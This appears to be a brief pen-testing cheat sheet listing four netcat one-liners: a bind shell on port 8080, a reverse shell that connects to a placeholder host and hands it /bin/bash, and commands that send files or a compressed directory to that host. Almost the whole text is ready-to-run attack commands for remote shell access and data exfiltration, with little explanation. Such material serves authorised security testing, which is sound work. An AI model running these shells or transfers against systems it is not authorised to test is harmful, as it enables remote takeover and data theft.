NetCat – the versatile swiss army knife of network utilities is one of the most helpful tools to have during a pen test. Here are 4 useful snippets:

a. The bind shell on port 8080

Remote Host: nc -lvp 8080 -e /bin/bash
Local Host: nc re.mo.te.ip 8080

b. The reverse shell on port 8080

Local Host: nc -lvp 8080
Remote Host: nc yo.ur.ho.st 8080 -e /bin/bash

c. File Transfer

Host A: nc -lvp 8080 > local.file
Host B: cat remote.file | nc yo.ur.ho.st 8080
or
Host B: nc yo.ur.ho.st 8080 < remote.file

d. Directory Transfer with GZip compression

Host A: tar zc directory | nc -w1 yo.ur.ho.st 8080
Host B: nc -lvp 8080|tar zx